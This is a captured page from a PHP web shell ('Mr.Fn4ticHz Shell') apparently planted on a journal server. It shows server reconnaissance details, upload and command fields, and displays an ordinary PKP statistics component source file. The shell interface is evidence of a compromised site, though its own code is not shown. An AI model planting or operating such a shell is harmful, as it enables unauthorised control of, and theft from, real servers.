Mr.Fn4ticHz Shell
Server IP : 10.10.92.66  /  Your IP : 104.23.243.84
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux jurnalpolinema 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64
User : jurnal ( 1001)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/jurnal/public_html/lib/pkp/classes/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/jurnal/public_html/lib/pkp/classes/components/PKPStatsComponent.inc.php
<?php
/**
 * @file components/PKPStatsComponent.inc.php
 *
 * Copyright (c) 2014-2021 Simon Fraser University
 * Copyright (c) 2000-2021 John Willinsky
 * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
 *
 * @class PKPStatsComponent
 * @ingroup classes_components_stats
 *
 * @brief A class to prepare the data object for a statistics UI component
 */
namespace PKP\components;

import('classes.statistics.StatisticsHelper');

class PKPStatsComponent {
	/** @var string The URL to the /stats API endpoint */
	public $apiUrl = '';

	/** @var array Configuration for the columns to display in the table */
	public $tableColumns = [];

	/** @var string Retrieve stats after this date */
	public $dateStart = '';

	/** @var string Retrieve stats before this date */
	public $dateEnd = '';

	/** @var array Quick options to provide for configuring the date range */
	public $dateRangeOptions = [];

	/** @var array|null Configuration assoc array for available filters */
	public $filters = null;

	/**
	 * Constructor
	 *
	 * @param $apiUrl string The URL to fetch stats from
	 * @param $args array Optional arguments
	 */
	function __construct($apiUrl, $args = array()) {
		\AppLocale::requireComponents(LOCALE_COMPONENT_PKP_MANAGER);
		\AppLocale::requireComponents(LOCALE_COMPONENT_APP_MANAGER);

		$this->apiUrl = $apiUrl;
		$this->init($args);
	}

	/**
	 * Initialize the handler with config parameters
	 *
	 * @param $args array Configuration params
	 */
	public function init($args = array()) {
		foreach ($args as $key => $value) {
			if (property_exists( $this, $key)) {
				$this->{$key} = $value;
			}
		}
	}

	/**
	 * Retrieve the configuration data to be used when initializing this
	 * handler on the frontend
	 *
	 * @return array Configuration data
	 */
	public function getConfig() {

		$config = [
			'apiUrl' => $this->apiUrl,
			'tableColumns' => $this->tableColumns,
			'dateStart' => $this->dateStart,
			'dateStartMin' =>  preg_replace('/^(\d{4})(\d{2})(\d{2})/', '$1-$2-$3', STATISTICS_EARLIEST_DATE),
			'dateEnd' => $this->dateEnd,
			'dateEndMax' => date('Y-m-d', strtotime('yesterday')),
			'dateRangeOptions' => $this->dateRangeOptions,
			'activeFilters' => [],
			'isLoadingItems' => false,
			'isSidebarVisible' => false,
		];

		if ($this->filters) {
			$config['filters'] = $this->filters;
		}

		return $config;
	}
}

Mr.F4ticHz - 2022
Mr.Fn4tcHzam